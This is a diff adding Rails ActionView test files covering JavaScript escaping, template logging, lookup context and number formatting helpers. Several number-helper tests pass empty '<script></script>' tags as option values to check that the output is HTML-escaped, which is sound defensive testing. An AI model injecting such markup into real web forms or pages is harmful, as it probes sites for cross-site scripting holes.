+class JavaScriptHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::JavaScriptHelper
+
+  attr_accessor :output_buffer
+
+  setup do
+    @old_escape_html_entities_in_json = ActiveSupport.escape_html_entities_in_json
+    ActiveSupport.escape_html_entities_in_json = true
+    @template = self
+  end
+
+  def teardown
+    ActiveSupport.escape_html_entities_in_json = @old_escape_html_entities_in_json
+  end
+
+  def test_escape_javascript
+    assert_equal "", escape_javascript(nil)
+    assert_equal %(This \\"thing\\" is really\\n netos\\'), escape_javascript(%(This "thing" is really\n netos'))
+    assert_equal %(backslash\\\\test), escape_javascript(%(backslash\\test))
+    assert_equal %(dont <\\/close> tags), escape_javascript(%(dont </close> tags))
+    assert_equal %(unicode &#x2028; newline), escape_javascript(%(unicode \342\200\250 newline).dup.force_encoding(Encoding::UTF_8).encode!)
+    assert_equal %(unicode &#x2029; newline), escape_javascript(%(unicode \342\200\251 newline).dup.force_encoding(Encoding::UTF_8).encode!)
+
+    assert_equal %(dont <\\/close> tags), j(%(dont </close> tags))
+  end
+
+  def test_escape_javascript_with_safebuffer
+    given = %('quoted' "double-quoted" new-line:\n </closed>)
+    expect = %(\\'quoted\\' \\"double-quoted\\" new-line:\\n <\\/closed>)
+    assert_equal expect, escape_javascript(given)
+    assert_equal expect, escape_javascript(ActiveSupport::SafeBuffer.new(given))
+    assert_instance_of String, escape_javascript(given)
+    assert_instance_of ActiveSupport::SafeBuffer, escape_javascript(ActiveSupport::SafeBuffer.new(given))
+  end
+
+  def test_javascript_tag
+    self.output_buffer = "foo"
+
+    assert_dom_equal "<script>\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
+      javascript_tag("alert('hello')")
+
+    assert_equal "foo", output_buffer, "javascript_tag without a block should not concat to output_buffer"
+  end
+
+  # Setting the :extname option will control what extension (if any) is appended to the url for assets
+  def test_javascript_include_tag
+    assert_dom_equal "<script src='/foo.js'></script>",  javascript_include_tag("/foo")
+    assert_dom_equal "<script src='/foo'></script>",     javascript_include_tag("/foo", extname: false)
+    assert_dom_equal "<script src='/foo.bar'></script>", javascript_include_tag("/foo", extname: ".bar")
+  end
+
+  def test_javascript_tag_with_options
+    assert_dom_equal "<script id=\"the_js_tag\">\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
+      javascript_tag("alert('hello')", id: "the_js_tag")
+  end
+
+  def test_javascript_cdata_section
+    assert_dom_equal "\n//<![CDATA[\nalert('hello')\n//]]>\n", javascript_cdata_section("alert('hello')")
+  end
+end
diff --git a/actionview/test/template/log_subscriber_test.rb b/actionview/test/template/log_subscriber_test.rb
new file mode 100644
index 0000000000..a4d89ba0d1
--- /dev/null
+++ b/actionview/test/template/log_subscriber_test.rb
@@ -0,0 +1,224 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/log_subscriber/test_helper"
+require "action_view/log_subscriber"
+require "controller/fake_models"
+
+class AVLogSubscriberTest < ActiveSupport::TestCase
+  include ActiveSupport::LogSubscriber::TestHelper
+
+  def setup
+    super
+
+    view_paths     = ActionController::Base.view_paths
+    lookup_context = ActionView::LookupContext.new(view_paths, {}, ["test"])
+    renderer       = ActionView::Renderer.new(lookup_context)
+    @view          = ActionView::Base.new(renderer, {})
+
+    ActionView::LogSubscriber.attach_to :action_view
+
+    unless Rails.respond_to?(:root)
+      @defined_root = true
+      def Rails.root; :defined_root; end # Minitest `stub` expects the method to be defined.
+    end
+  end
+
+  def teardown
+    super
+
+    ActiveSupport::LogSubscriber.log_subscribers.clear
+
+    # We need to undef `root`, RenderTestCases don't want this to be defined
+    Rails.instance_eval { undef :root } if @defined_root
+  end
+
+  def set_logger(logger)
+    ActionView::Base.logger = logger
+  end
+
+  def set_cache_controller
+    controller = ActionController::Base.new
+    controller.perform_caching = true
+    controller.cache_store = ActiveSupport::Cache::MemoryStore.new
+    @view.controller = controller
+  end
+
+  def set_view_cache_dependencies
+    def @view.view_cache_dependencies; []; end
+    def @view.combined_fragment_cache_key(*); "ahoy `controller` dependency"; end
+  end
+
+  def test_render_file_template
+    Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      @view.render(file: "test/hello_world")
+      wait
+
+      assert_equal 2, @logger.logged(:info).size
+      assert_match(/Rendering test\/hello_world\.erb/, @logger.logged(:info).first)
+      assert_match(/Rendered test\/hello_world\.erb/, @logger.logged(:info).last)
+    end
+  end
+
+  def test_render_text_template
+    Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      @view.render(plain: "TEXT")
+      wait
+
+      assert_equal 2, @logger.logged(:info).size
+      assert_match(/Rendering text template/, @logger.logged(:info).first)
+      assert_match(/Rendered text template/, @logger.logged(:info).last)
+    end
+  end
+
+  def test_render_inline_template
+    Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      @view.render(inline: "<%= 'TEXT' %>")
+      wait
+
+      assert_equal 2, @logger.logged(:info).size
+      assert_match(/Rendering inline template/, @logger.logged(:info).first)
+      assert_match(/Rendered inline template/, @logger.logged(:info).last)
+    end
+  end
+
+  def test_render_partial_with_implicit_path
+    Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      @view.render(Customer.new("david"), greeting: "hi")
+      wait
+
+      assert_equal 1, @logger.logged(:info).size
+      assert_match(/Rendered customers\/_customer\.html\.erb/, @logger.logged(:info).last)
+    end
+  end
+
+  def test_render_partial_with_cache_missed
+    Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      set_view_cache_dependencies
+      set_cache_controller
+
+      @view.render(partial: "test/cached_customer", locals: { cached_customer: Customer.new("david") })
+      wait
+
+      assert_equal 1, @logger.logged(:info).size
+      assert_match(/Rendered test\/_cached_customer\.erb (.*) \[cache miss\]/, @logger.logged(:info).last)
+    end
+  end
+
+  def test_render_partial_with_cache_hitted
+    Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      set_view_cache_dependencies
+      set_cache_controller
+
+      # Second render should hit cache.
+      @view.render(partial: "test/cached_customer", locals: { cached_customer: Customer.new("david") })
+      @view.render(partial: "test/cached_customer", locals: { cached_customer: Customer.new("david") })
+      wait
+
+      assert_equal 2, @logger.logged(:info).size
+      assert_match(/Rendered test\/_cached_customer\.erb (.*) \[cache hit\]/, @logger.logged(:info).last)
+    end
+  end
+
+  def test_render_uncached_outer_partial_with_inner_cached_partial_wont_mix_cache_hits_or_misses
+    Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      set_view_cache_dependencies
+      set_cache_controller
+
+      @view.render(partial: "test/nested_cached_customer", locals: { cached_customer: Customer.new("Stan") })
+      wait
+      *, cached_inner, uncached_outer = @logger.logged(:info)
+      assert_match(/Rendered test\/_cached_customer\.erb (.*) \[cache miss\]/, cached_inner)
+      assert_match(/Rendered test\/_nested_cached_customer\.erb \(.*?ms\)$/, uncached_outer)
+
+      # Second render hits the cache for the _cached_customer partial. Outer template's log shouldn't be affected.
+      @view.render(partial: "test/nested_cached_customer", locals: { cached_customer: Customer.new("Stan") })
+      wait
+      *, cached_inner, uncached_outer = @logger.logged(:info)
+      assert_match(/Rendered test\/_cached_customer\.erb (.*) \[cache hit\]/, cached_inner)
+      assert_match(/Rendered test\/_nested_cached_customer\.erb \(.*?ms\)$/, uncached_outer)
+    end
+  end
+
+  def test_render_cached_outer_partial_with_cached_inner_partial
+    Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      set_view_cache_dependencies
+      set_cache_controller
+
+      @view.render(partial: "test/cached_nested_cached_customer", locals: { cached_customer: Customer.new("Stan") })
+      wait
+      *, cached_inner, cached_outer = @logger.logged(:info)
+      assert_match(/Rendered test\/_cached_customer\.erb (.*) \[cache miss\]/, cached_inner)
+      assert_match(/Rendered test\/_cached_nested_cached_customer\.erb (.*) \[cache miss\]/, cached_outer)
+
+      # One render: inner partial skipped, because the outer has been cached.
+      assert_difference -> { @logger.logged(:info).size }, +1 do
+        @view.render(partial: "test/cached_nested_cached_customer", locals: { cached_customer: Customer.new("Stan") })
+        wait
+      end
+      assert_match(/Rendered test\/_cached_nested_cached_customer\.erb (.*) \[cache hit\]/, @logger.logged(:info).last)
+    end
+  end
+
+  def test_render_partial_with_cache_hitted_and_missed
+    Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      set_view_cache_dependencies
+      set_cache_controller
+
+      @view.render(partial: "test/cached_customer", locals: { cached_customer: Customer.new("david") })
+      wait
+      assert_match(/Rendered test\/_cached_customer\.erb (.*) \[cache miss\]/, @logger.logged(:info).last)
+
+      @view.render(partial: "test/cached_customer", locals: { cached_customer: Customer.new("david") })
+      wait
+      assert_match(/Rendered test\/_cached_customer\.erb (.*) \[cache hit\]/, @logger.logged(:info).last)
+
+      @view.render(partial: "test/cached_customer", locals: { cached_customer: Customer.new("Stan") })
+      wait
+      assert_match(/Rendered test\/_cached_customer\.erb (.*) \[cache miss\]/, @logger.logged(:info).last)
+    end
+  end
+
+  def test_render_collection_template
+    Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      @view.render(partial: "test/customer", collection: [ Customer.new("david"), Customer.new("mary") ])
+      wait
+
+      assert_equal 1, @logger.logged(:info).size
+      assert_match(/Rendered collection of test\/_customer.erb \[2 times\]/, @logger.logged(:info).last)
+    end
+  end
+
+  def test_render_collection_with_implicit_path
+    Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      @view.render([ Customer.new("david"), Customer.new("mary") ], greeting: "hi")
+      wait
+
+      assert_equal 1, @logger.logged(:info).size
+      assert_match(/Rendered collection of customers\/_customer\.html\.erb \[2 times\]/, @logger.logged(:info).last)
+    end
+  end
+
+  def test_render_collection_template_without_path
+    Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      @view.render([ GoodCustomer.new("david"), Customer.new("mary") ], greeting: "hi")
+      wait
+
+      assert_equal 1, @logger.logged(:info).size
+      assert_match(/Rendered collection of templates/, @logger.logged(:info).last)
+    end
+  end
+
+  def test_render_collection_with_cached_set
+    Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do
+      set_view_cache_dependencies
+
+      @view.render(partial: "customers/customer", collection: [ Customer.new("david"), Customer.new("mary") ], cached: true,
+        locals: { greeting: "hi" })
+      wait
+
+      assert_equal 1, @logger.logged(:info).size
+      assert_match(/Rendered collection of customers\/_customer\.html\.erb \[0 \/ 2 cache hits\]/, @logger.logged(:info).last)
+    end
+  end
+end
diff --git a/actionview/test/template/lookup_context_test.rb b/actionview/test/template/lookup_context_test.rb
new file mode 100644
index 0000000000..402ee9b6ae
--- /dev/null
+++ b/actionview/test/template/lookup_context_test.rb
@@ -0,0 +1,289 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "abstract_controller/rendering"
+
+class LookupContextTest < ActiveSupport::TestCase
+  def setup
+    @lookup_context = ActionView::LookupContext.new(FIXTURE_LOAD_PATH, {})
+    ActionView::LookupContext::DetailsKey.clear
+  end
+
+  def teardown
+    I18n.locale = :en
+  end
+
+  test "allows to override default_formats with ActionView::Base.default_formats" do
+    begin
+      formats = ActionView::Base.default_formats
+      ActionView::Base.default_formats = [:foo, :bar]
+
+      assert_equal [:foo, :bar], ActionView::LookupContext.new([]).default_formats
+    ensure
+      ActionView::Base.default_formats = formats
+    end
+  end
+
+  test "process view paths on initialization" do
+    assert_kind_of ActionView::PathSet, @lookup_context.view_paths
+  end
+
+  test "normalizes details on initialization" do
+    assert_equal Mime::SET.to_a, @lookup_context.formats
+    assert_equal :en, @lookup_context.locale
+  end
+
+  test "allows me to freeze and retrieve frozen formats" do
+    @lookup_context.formats.freeze
+    assert @lookup_context.formats.frozen?
+  end
+
+  test "provides getters and setters for variants" do
+    @lookup_context.variants = [:mobile]
+    assert_equal [:mobile], @lookup_context.variants
+  end
+
+  test "provides getters and setters for formats" do
+    @lookup_context.formats = [:html]
+    assert_equal [:html], @lookup_context.formats
+  end
+
+  test "handles */* formats" do
+    @lookup_context.formats = ["*/*"]
+    assert_equal Mime::SET.to_a, @lookup_context.formats
+  end
+
+  test "handles explicitly defined */* formats fallback to :js" do
+    @lookup_context.formats = [:js, Mime::ALL]
+    assert_equal [:js, *Mime::SET.symbols], @lookup_context.formats
+  end
+
+  test "adds :html fallback to :js formats" do
+    @lookup_context.formats = [:js]
+    assert_equal [:js, :html], @lookup_context.formats
+  end
+
+  test "provides getters and setters for locale" do
+    @lookup_context.locale = :pt
+    assert_equal :pt, @lookup_context.locale
+  end
+
+  test "changing lookup_context locale, changes I18n.locale" do
+    @lookup_context.locale = :pt
+    assert_equal :pt, I18n.locale
+  end
+
+  test "delegates changing the locale to the I18n configuration object if it contains a lookup_context object" do
+    begin
+      I18n.config = ActionView::I18nProxy.new(I18n.config, @lookup_context)
+      @lookup_context.locale = :pt
+      assert_equal :pt, I18n.locale
+      assert_equal :pt, @lookup_context.locale
+    ensure
+      I18n.config = I18n.config.original_config
+    end
+
+    assert_equal :pt, I18n.locale
+  end
+
+  test "find templates using the given view paths and configured details" do
+    template = @lookup_context.find("hello_world", %w(test))
+    assert_equal "Hello world!", template.source
+
+    @lookup_context.locale = :da
+    template = @lookup_context.find("hello_world", %w(test))
+    assert_equal "Hey verden", template.source
+  end
+
+  test "find templates with given variants" do
+    @lookup_context.formats  = [:html]
+    @lookup_context.variants = [:phone]
+
+    template = @lookup_context.find("hello_world", %w(test))
+    assert_equal "Hello phone!", template.source
+
+    @lookup_context.variants = [:phone]
+    @lookup_context.formats  = [:text]
+
+    template = @lookup_context.find("hello_world", %w(test))
+    assert_equal "Hello texty phone!", template.source
+  end
+
+  test "found templates respects given formats if one cannot be found from template or handler" do
+    assert_called(ActionView::Template::Handlers::Builder, :default_format, returns: nil) do
+      @lookup_context.formats = [:text]
+      template = @lookup_context.find("hello", %w(test))
+      assert_equal [:text], template.formats
+    end
+  end
+
+  test "adds fallbacks to view paths when required" do
+    assert_equal 1, @lookup_context.view_paths.size
+
+    @lookup_context.with_fallbacks do
+      assert_equal 3, @lookup_context.view_paths.size
+      assert_includes @lookup_context.view_paths, ActionView::FallbackFileSystemResolver.new("")
+      assert_includes @lookup_context.view_paths, ActionView::FallbackFileSystemResolver.new("/")
+    end
+  end
+
+  test "add fallbacks just once in nested fallbacks calls" do
+    @lookup_context.with_fallbacks do
+      @lookup_context.with_fallbacks do
+        assert_equal 3, @lookup_context.view_paths.size
+      end
+    end
+  end
+
+  test "generates a new details key for each details hash" do
+    keys = []
+    keys << @lookup_context.details_key
+    assert_equal 1, keys.uniq.size
+
+    @lookup_context.locale = :da
+    keys << @lookup_context.details_key
+    assert_equal 2, keys.uniq.size
+
+    @lookup_context.locale = :en
+    keys << @lookup_context.details_key
+    assert_equal 2, keys.uniq.size
+
+    @lookup_context.formats = [:html]
+    keys << @lookup_context.details_key
+    assert_equal 3, keys.uniq.size
+
+    @lookup_context.formats = nil
+    keys << @lookup_context.details_key
+    assert_equal 3, keys.uniq.size
+  end
+
+  test "gives the key forward to the resolver, so it can be used as cache key" do
+    @lookup_context.view_paths = ActionView::FixtureResolver.new("test/_foo.erb" => "Foo")
+    template = @lookup_context.find("foo", %w(test), true)
+    assert_equal "Foo", template.source
+
+    # Now we are going to change the template, but it won't change the returned template
+    # since we will hit the cache.
+    @lookup_context.view_paths.first.hash["test/_foo.erb"] = "Bar"
+    template = @lookup_context.find("foo", %w(test), true)
+    assert_equal "Foo", template.source
+
+    # This time we will change the locale. The updated template should be picked since
+    # lookup_context generated a new key after we changed the locale.
+    @lookup_context.locale = :da
+    template = @lookup_context.find("foo", %w(test), true)
+    assert_equal "Bar", template.source
+
+    # Now we will change back the locale and it will still pick the old template.
+    # This is expected because lookup_context will reuse the previous key for :en locale.
+    @lookup_context.locale = :en
+    template = @lookup_context.find("foo", %w(test), true)
+    assert_equal "Foo", template.source
+
+    # Finally, we can expire the cache. And the expected template will be used.
+    @lookup_context.view_paths.first.clear_cache
+    template = @lookup_context.find("foo", %w(test), true)
+    assert_equal "Bar", template.source
+  end
+
+  test "can disable the cache on demand" do
+    @lookup_context.view_paths = ActionView::FixtureResolver.new("test/_foo.erb" => "Foo")
+    old_template = @lookup_context.find("foo", %w(test), true)
+
+    template = @lookup_context.find("foo", %w(test), true)
+    assert_equal template, old_template
+
+    assert @lookup_context.cache
+    template = @lookup_context.disable_cache do
+      assert !@lookup_context.cache
+      @lookup_context.find("foo", %w(test), true)
+    end
+    assert @lookup_context.cache
+
+    assert_not_equal template, old_template
+  end
+
+  test "responds to #prefixes" do
+    assert_equal [], @lookup_context.prefixes
+    @lookup_context.prefixes = ["foo"]
+    assert_equal ["foo"], @lookup_context.prefixes
+  end
+end
+
+class LookupContextWithFalseCaching < ActiveSupport::TestCase
+  def setup
+    @resolver = ActionView::FixtureResolver.new("test/_foo.erb" => ["Foo", Time.utc(2000)])
+    @lookup_context = ActionView::LookupContext.new(@resolver, {})
+  end
+
+  test "templates are always found in the resolver but timestamp is checked before being compiled" do
+    ActionView::Resolver.stub(:caching?, false) do
+      template = @lookup_context.find("foo", %w(test), true)
+      assert_equal "Foo", template.source
+
+      # Now we are going to change the template, but it won't change the returned template
+      # since the timestamp is the same.
+      @resolver.hash["test/_foo.erb"][0] = "Bar"
+      template = @lookup_context.find("foo", %w(test), true)
+      assert_equal "Foo", template.source
+
+      # Now update the timestamp.
+      @resolver.hash["test/_foo.erb"][1] = Time.now.utc
+      template = @lookup_context.find("foo", %w(test), true)
+      assert_equal "Bar", template.source
+    end
+  end
+
+  test "if no template was found in the second lookup, with no cache, raise error" do
+    ActionView::Resolver.stub(:caching?, false) do
+      template = @lookup_context.find("foo", %w(test), true)
+      assert_equal "Foo", template.source
+
+      @resolver.hash.clear
+      assert_raise ActionView::MissingTemplate do
+        @lookup_context.find("foo", %w(test), true)
+      end
+    end
+  end
+
+  test "if no template was cached in the first lookup, retrieval should work in the second call" do
+    ActionView::Resolver.stub(:caching?, false) do
+      @resolver.hash.clear
+      assert_raise ActionView::MissingTemplate do
+        @lookup_context.find("foo", %w(test), true)
+      end
+
+      @resolver.hash["test/_foo.erb"] = ["Foo", Time.utc(2000)]
+      template = @lookup_context.find("foo", %w(test), true)
+      assert_equal "Foo", template.source
+    end
+  end
+end
+
+class TestMissingTemplate < ActiveSupport::TestCase
+  def setup
+    @lookup_context = ActionView::LookupContext.new("/Path/to/views", {})
+  end
+
+  test "if no template was found we get a helpful error message including the inheritance chain" do
+    e = assert_raise ActionView::MissingTemplate do
+      @lookup_context.find("foo", %w(parent child))
+    end
+    assert_match %r{Missing template parent/foo, child/foo with .* Searched in:\n  \* "/Path/to/views"\n}, e.message
+  end
+
+  test "if no partial was found we get a helpful error message including the inheritance chain" do
+    e = assert_raise ActionView::MissingTemplate do
+      @lookup_context.find("foo", %w(parent child), true)
+    end
+    assert_match %r{Missing partial parent/_foo, child/_foo with .* Searched in:\n  \* "/Path/to/views"\n}, e.message
+  end
+
+  test "if a single prefix is passed as a string and the lookup fails, MissingTemplate accepts it" do
+    e = assert_raise ActionView::MissingTemplate do
+      details = { handlers: [], formats: [], variants: [], locale: [] }
+      @lookup_context.view_paths.find("foo", "parent", true, details)
+    end
+    assert_match %r{Missing partial parent/_foo with .* Searched in:\n  \* "/Path/to/views"\n}, e.message
+  end
+end
diff --git a/actionview/test/template/number_helper_test.rb b/actionview/test/template/number_helper_test.rb
new file mode 100644
index 0000000000..2b671a6685
--- /dev/null
+++ b/actionview/test/template/number_helper_test.rb
@@ -0,0 +1,204 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class NumberHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::NumberHelper
+
+  def test_number_to_phone
+    assert_nil number_to_phone(nil)
+    assert_equal "555-1234", number_to_phone(5551234)
+    assert_equal "(800) 555-1212 x 123", number_to_phone(8005551212, area_code: true, extension: 123)
+    assert_equal "+18005551212", number_to_phone(8005551212, country_code: 1, delimiter: "")
+    assert_equal "+&lt;script&gt;&lt;/script&gt;8005551212", number_to_phone(8005551212, country_code: "<script></script>", delimiter: "")
+    assert_equal "8005551212 x &lt;script&gt;&lt;/script&gt;", number_to_phone(8005551212, extension: "<script></script>", delimiter: "")
+  end
+
+  def test_number_to_currency
+    assert_nil number_to_currency(nil)
+    assert_equal "$1,234,567,890.50", number_to_currency(1234567890.50)
+    assert_equal "$1,234,567,892", number_to_currency(1234567891.50, precision: 0)
+    assert_equal "1,234,567,890.50 - K&#269;", number_to_currency("-1234567890.50", unit: raw("K&#269;"), format: "%n %u", negative_format: "%n - %u")
+    assert_equal "&amp;pound;1,234,567,890.50", number_to_currency("1234567890.50", unit: "&pound;")
+    assert_equal "&lt;b&gt;1,234,567,890.50&lt;/b&gt; $", number_to_currency("1234567890.50", format: "<b>%n</b> %u")
+    assert_equal "&lt;b&gt;1,234,567,890.50&lt;/b&gt; $", number_to_currency("-1234567890.50", negative_format: "<b>%n</b> %u")
+    assert_equal "&lt;b&gt;1,234,567,890.50&lt;/b&gt; $", number_to_currency("-1234567890.50", "negative_format" => "<b>%n</b> %u")
+    assert_equal "₹ 12,30,000.00", number_to_currency(1230000, delimiter_pattern: /(\d+?)(?=(\d\d)+(\d)(?!\d))/, unit: "₹", format: "%u %n")
+  end
+
+  def test_number_to_percentage
+    assert_nil number_to_percentage(nil)
+    assert_equal "100.000%", number_to_percentage(100)
+    assert_equal "100.000 %", number_to_percentage(100, format: "%n %")
+    assert_equal "&lt;b&gt;100.000&lt;/b&gt; %", number_to_percentage(100, format: "<b>%n</b> %")
+    assert_equal "<b>100.000</b> %", number_to_percentage(100, format: raw("<b>%n</b> %"))
+    assert_equal "100%", number_to_percentage(100, precision: 0)
+    assert_equal "123.4%", number_to_percentage(123.400, precision: 3, strip_insignificant_zeros: true)
+    assert_equal "1.000,000%", number_to_percentage(1000, delimiter: ".", separator: ",")
+    assert_equal "98a%", number_to_percentage("98a")
+    assert_equal "NaN%", number_to_percentage(Float::NAN)
+    assert_equal "Inf%", number_to_percentage(Float::INFINITY)
+    assert_equal "NaN%", number_to_percentage(Float::NAN, precision: 0)
+    assert_equal "Inf%", number_to_percentage(Float::INFINITY, precision: 0)
+    assert_equal "NaN%", number_to_percentage(Float::NAN, precision: 1)
+    assert_equal "Inf%", number_to_percentage(Float::INFINITY, precision: 1)
+  end
+
+  def test_number_with_delimiter
+    assert_nil number_with_delimiter(nil)
+    assert_equal "12,345,678", number_with_delimiter(12345678)
+    assert_equal "0", number_with_delimiter(0)
+  end
+
+  def test_number_with_precision
+    assert_nil number_with_precision(nil)
+    assert_equal "-111.235", number_with_precision(-111.2346)
+    assert_equal "111.00", number_with_precision(111, precision: 2)
+    assert_equal "0.00100", number_with_precision(0.001, precision: 5)
+    assert_equal "3.33", number_with_precision(Rational(10, 3), precision: 2)
+  end
+
+  def test_number_to_human_size
+    assert_nil number_to_human_size(nil)
+    assert_equal "3 Bytes", number_to_human_size(3.14159265)
+    assert_equal "1.2 MB", number_to_human_size(1234567, precision: 2)
+  end
+
+  def test_number_to_human
+    assert_nil number_to_human(nil)
+    assert_equal "0",   number_to_human(0)
+    assert_equal "1.23 Thousand", number_to_human(1234)
+    assert_equal "489.0 Thousand", number_to_human(489000, precision: 4, strip_insignificant_zeros: false)
+  end
+
+  def test_number_to_human_escape_units
+    volume = { unit: "<b>ml</b>", thousand: "<b>lt</b>", million: "<b>m3</b>", trillion: "<b>km3</b>", quadrillion: "<b>Pl</b>" }
+    assert_equal "123 &lt;b&gt;lt&lt;/b&gt;", number_to_human(123456, units: volume)
+    assert_equal "12 &lt;b&gt;ml&lt;/b&gt;", number_to_human(12, units: volume)
+    assert_equal "1.23 &lt;b&gt;m3&lt;/b&gt;", number_to_human(1234567, units: volume)
+    assert_equal "1.23 &lt;b&gt;km3&lt;/b&gt;", number_to_human(1_234_567_000_000, units: volume)
+    assert_equal "1.23 &lt;b&gt;Pl&lt;/b&gt;", number_to_human(1_234_567_000_000_000, units: volume)
+
+    #Including fractionals
+    distance = { mili: "<b>mm</b>", centi: "<b>cm</b>", deci: "<b>dm</b>", unit: "<b>m</b>",
+                 ten: "<b>dam</b>", hundred: "<b>hm</b>", thousand: "<b>km</b>",
+                 micro: "<b>um</b>", nano: "<b>nm</b>", pico: "<b>pm</b>", femto: "<b>fm</b>" }
+    assert_equal "1.23 &lt;b&gt;mm&lt;/b&gt;", number_to_human(0.00123, units: distance)
+    assert_equal "1.23 &lt;b&gt;cm&lt;/b&gt;", number_to_human(0.0123, units: distance)
+    assert_equal "1.23 &lt;b&gt;dm&lt;/b&gt;", number_to_human(0.123, units: distance)
+    assert_equal "1.23 &lt;b&gt;m&lt;/b&gt;", number_to_human(1.23, units: distance)
+    assert_equal "1.23 &lt;b&gt;dam&lt;/b&gt;", number_to_human(12.3, units: distance)
+    assert_equal "1.23 &lt;b&gt;hm&lt;/b&gt;", number_to_human(123, units: distance)
+    assert_equal "1.23 &lt;b&gt;km&lt;/b&gt;", number_to_human(1230, units: distance)
+    assert_equal "1.23 &lt;b&gt;um&lt;/b&gt;", number_to_human(0.00000123, units: distance)
+    assert_equal "1.23 &lt;b&gt;nm&lt;/b&gt;", number_to_human(0.00000000123, units: distance)
+    assert_equal "1.23 &lt;b&gt;pm&lt;/b&gt;", number_to_human(0.00000000000123, units: distance)
+    assert_equal "1.23 &lt;b&gt;fm&lt;/b&gt;", number_to_human(0.00000000000000123, units: distance)
+  end
+
+  def test_number_helpers_escape_delimiter_and_separator
+    assert_equal "111&lt;script&gt;&lt;/script&gt;111&lt;script&gt;&lt;/script&gt;1111", number_to_phone(1111111111, delimiter: "<script></script>")
+
+    assert_equal "$1&lt;script&gt;&lt;/script&gt;01", number_to_currency(1.01, separator: "<script></script>")
+    assert_equal "$1&lt;script&gt;&lt;/script&gt;000.00", number_to_currency(1000, delimiter: "<script></script>")
+
+    assert_equal "1&lt;script&gt;&lt;/script&gt;010%", number_to_percentage(1.01, separator: "<script></script>")
+    assert_equal "1&lt;script&gt;&lt;/script&gt;000.000%", number_to_percentage(1000, delimiter: "<script></script>")
+
+    assert_equal "1&lt;script&gt;&lt;/script&gt;01", number_with_delimiter(1.01, separator: "<script></script>")
+    assert_equal "1&lt;script&gt;&lt;/script&gt;000", number_with_delimiter(1000, delimiter: "<script></script>")
+
+    assert_equal "1&lt;script&gt;&lt;/script&gt;010", number_with_precision(1.01, separator: "<script></script>")
+    assert_equal "1&lt;script&gt;&lt;/script&gt;000.000", number_with_precision(1000, delimiter: "<script></script>")
+
+    assert_equal "9&lt;script&gt;&lt;/script&gt;86 KB", number_to_human_size(10100, separator: "<script></script>")
+
+    assert_equal "1&lt;script&gt;&lt;/script&gt;01", number_to_human(1.01, separator: "<script></script>")
+    assert_equal "100&lt;script&gt;&lt;/script&gt;000 Quadrillion", number_to_human(10**20, delimiter: "<script></script>")
+  end
+
+  def test_number_to_human_with_custom_translation_scope
+    I18n.backend.store_translations "ts",
+      custom_units_for_number_to_human: { mili: "mm", centi: "cm", deci: "dm", unit: "m", ten: "dam", hundred: "hm", thousand: "km" }
+    assert_equal "1.01 cm", number_to_human(0.0101, locale: "ts", units: :custom_units_for_number_to_human)
+  ensure
+    I18n.reload!
+  end
+
+  def test_number_helpers_outputs_are_html_safe
+    assert number_to_human(1).html_safe?
+    assert !number_to_human("<script></script>").html_safe?
+    assert number_to_human("asdf".html_safe).html_safe?
+    assert number_to_human("1".html_safe).html_safe?
+
+    assert number_to_human_size(1).html_safe?
+    assert number_to_human_size(1000000).html_safe?
+    assert !number_to_human_size("<script></script>").html_safe?
+    assert number_to_human_size("asdf".html_safe).html_safe?
+    assert number_to_human_size("1".html_safe).html_safe?
+
+    assert number_with_precision(1, strip_insignificant_zeros: false).html_safe?
+    assert number_with_precision(1, strip_insignificant_zeros: true).html_safe?
+    assert !number_with_precision("<script></script>").html_safe?
+    assert number_with_precision("asdf".html_safe).html_safe?
+    assert number_with_precision("1".html_safe).html_safe?
+
+    assert number_to_currency(1).html_safe?
+    assert !number_to_currency("<script></script>").html_safe?
+    assert number_to_currency("asdf".html_safe).html_safe?
+    assert number_to_currency("1".html_safe).html_safe?
+
+    assert number_to_percentage(1).html_safe?
+    assert !number_to_percentage("<script></script>").html_safe?
+    assert number_to_percentage("asdf".html_safe).html_safe?
+    assert number_to_percentage("1".html_safe).html_safe?
+
+    assert number_to_phone(1).html_safe?
+    assert_equal "&lt;script&gt;&lt;/script&gt;", number_to_phone("<script></script>")
+    assert number_to_phone("<script></script>").html_safe?
+    assert number_to_phone("asdf".html_safe).html_safe?
+    assert number_to_phone("1".html_safe).html_safe?
+
+    assert number_with_delimiter(1).html_safe?
+    assert !number_with_delimiter("<script></script>").html_safe?
+    assert number_with_delimiter("asdf".html_safe).html_safe?
+    assert number_with_delimiter("1".html_safe).html_safe?
+  end
+
+  def test_number_helpers_should_raise_error_if_invalid_when_specified
+    exception = assert_raise InvalidNumberError do
+      number_to_human("x", raise: true)
+    end
+    assert_equal "x", exception.number
+
+    exception = assert_raise InvalidNumberError do
+      number_to_human_size("x", raise: true)
+    end
+    assert_equal "x", exception.number
+
+    exception = assert_raise InvalidNumberError do
+      number_with_precision("x", raise: true)
+    end
+    assert_equal "x", exception.number
+
+    exception = assert_raise InvalidNumberError do
+      number_to_currency("x", raise: true)
+    end
+    assert_equal "x", exception.number
+
+    exception = assert_raise InvalidNumberError do
+      number_to_percentage("x", raise: true)
+    end
+    assert_equal "x", exception.number
+
+    exception = assert_raise InvalidNumberError do
+      number_with_delimiter("x", raise: true)
+    end
+    assert_equal "x", exception.number
+
+    exception = assert_raise InvalidNumberError do
+      number_to_phone("x", raise: true)
+    end
+    assert_equal "x", exception.number
+  end
+end
